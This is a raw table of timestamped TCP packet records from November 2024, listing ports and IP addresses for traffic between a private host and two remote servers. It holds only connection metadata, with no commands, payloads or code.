Nov 25, 2024 03:40:06.358899117 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.359602928 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.359652996 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.359713078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.359755039 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.360495090 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.360546112 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.360598087 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.360646009 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.361326933 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.361387968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.361432076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.361526012 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.362206936 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.362267017 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.362302065 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.362343073 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.363061905 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.363126040 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.363162994 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.363218069 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.363933086 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.363986015 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.364023924 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.364140034 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.364792109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.364842892 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.364902973 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.365041018 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.365664959 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.365711927 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.365782976 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.365875959 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.366507053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.366558075 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.366624117 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.366667032 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.367386103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.367448092 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.367510080 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.367553949 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.368244886 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.368293047 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.368351936 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.368395090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.369146109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.369196892 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.369237900 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.369343042 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.369987011 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.370038033 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.370107889 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.370155096 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.370846033 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.370912075 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.371017933 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.371074915 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.371707916 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.371769905 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.371809006 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.371994972 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.372575045 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.372628927 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.372698069 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.372842073 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.373424053 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.373481035 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.373527050 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.373574018 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.374293089 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.374345064 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.374387026 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.374561071 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.375190973 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.375241995 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.375279903 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.375329971 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.376054049 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.376106024 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.376142979 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.376187086 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.376887083 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.376943111 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.377053976 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.377103090 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.377758980 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.377815962 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.377859116 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.377928972 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.378631115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.378679037 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.378715038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.378768921 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.379498959 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.379600048 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.379653931 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.380330086 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.380397081 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.380455971 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.380497932 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.381200075 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.381264925 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.381300926 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.381344080 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.382077932 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.382133007 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.382194042 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.382237911 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.382951021 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.383032084 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.383074999 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.383116961 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.383793116 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.383896112 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.383924961 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.383965969 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.384665012 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.384716988 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.384766102 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.384810925 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.385533094 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.385663986 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.385695934 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.385927916 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.386389971 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.386445999 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.386497974 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.386539936 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.387242079 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.387300968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.387347937 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.387392998 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.388108015 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.388170004 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.388215065 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.388274908 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.388982058 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.389115095 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.389173985 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.389837027 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.389880896 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.389951944 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.389997005 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.390733957 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.390790939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.390825987 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.390866995 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.391570091 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.391618967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.391660929 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.391701937 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.392445087 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.392494917 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.392538071 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.392688990 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.393299103 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.393357038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.393399954 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.393435001 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.550065994 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.550122976 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.550192118 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.550486088 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.550607920 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.550626993 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.550657034 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.551326036 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.551379919 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.551425934 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.551532030 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.552143097 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.552190065 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.552284002 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.552460909 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.553023100 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.553070068 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.553153038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.553205967 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.553884983 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.553935051 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.553982019 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.554052114 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.554613113 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:06.554733038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.554841995 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.554879904 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:06.554894924 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:06.554903030 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.555600882 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.555675983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.555718899 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.555769920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.556073904 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:06.556147099 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:06.556478024 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.556497097 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:06.556531906 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.556569099 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:06.556579113 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.556637049 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.556814909 CET	49843	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:40:06.556823969 CET	443	49843	104.117.182.32	192.168.2.8
Nov 25, 2024 03:40:06.557343960 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.557447910 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.557574987 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.558206081 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.558254957 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.558330059 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.558383942 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.559058905 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.559175968 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.559176922 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.559242010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.559923887 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.560008049 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.560038090 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.560123920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.560802937 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.560853004 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.560900927 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.560959101 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.561654091 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.561703920 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.561760902 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.561804056 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.562540054 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.562597990 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.562614918 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.562681913 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.563388109 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.563437939 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.563481092 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.563565016 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.564250946 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.564300060 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.564340115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.564393044 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.565103054 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.565155983 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.565201998 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.565291882 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.565984011 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.566034079 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.566075087 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.566152096 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.566826105 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.566875935 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.566935062 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.566992044 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.567717075 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.567795038 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.567826986 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.567933083 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.568553925 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.568624973 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.568660021 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.568710089 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.569402933 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.569444895 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.569508076 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.569550991 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.570287943 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.570338964 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.570379972 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.570435047 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.571166039 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.571212053 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.571253061 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.571330070 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.572031021 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.572132111 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.572143078 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.572196960 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.572875023 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.572923899 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.572985888 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.573029995 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.573751926 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.573858023 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.573883057 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.573896885 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.574624062 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.574690104 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.574712038 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.574811935 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.575501919 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.575546980 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.575582027 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.575627089 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.576329947 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.576380014 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.576442957 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.576515913 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.577203989 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.577307940 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.577313900 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.577429056 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.578068972 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.578140020 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.578175068 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.578219891 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.578947067 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.578993082 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.579036951 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.579123974 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.579791069 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.579900026 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.579914093 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.579946995 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.580665112 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.580773115 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.580785036 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.580912113 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.581536055 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.581623077 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.581659079 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.581763029 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.582415104 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.582463026 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.582545996 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.582602024 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.583311081 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.583367109 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.583429098 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.583477974 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.584165096 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.584285021 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.584358931 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.584990025 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.585037947 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.585107088 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.585155010 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.585858107 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.585922003 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.585966110 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.586054087 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.586699009 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.586750031 CET	49841	80	192.168.2.8	185.215.113.16
Nov 25, 2024 03:40:06.586823940 CET	80	49841	185.215.113.16	192.168.2.8
Nov 25, 2024 03:40:06.586882114 CET	49841	80	192.168.2.8	185.215.113.16
